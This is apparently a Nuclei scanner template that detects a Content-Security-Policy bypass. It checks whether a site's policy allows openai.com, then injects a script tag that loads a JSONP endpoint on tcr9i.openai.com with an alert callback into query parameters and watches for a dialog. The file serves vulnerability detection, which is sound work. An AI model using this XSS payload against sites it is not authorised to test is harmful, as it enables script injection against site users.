id: openai-tcr9i-csp-bypass

info:
  name: Content-Security-Policy Bypass - OpenAI TCR9I
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,openai-tcr9i

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "openai.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: openai_tcr9i_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://tcr9i.openai.com/fc/a/?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "openai_tcr9i_csp_xss == true"
# digest: 4a0a0047304502205f2d36ec668492437e728752685a3bf044847ec87eb6b08ed38ac3ff364af97b022100a41a09f6178f5b7f6e84081f1ae31adc033e00987c3552896783e771fc6349fe:922c64590222798bb761d5b6d8e72950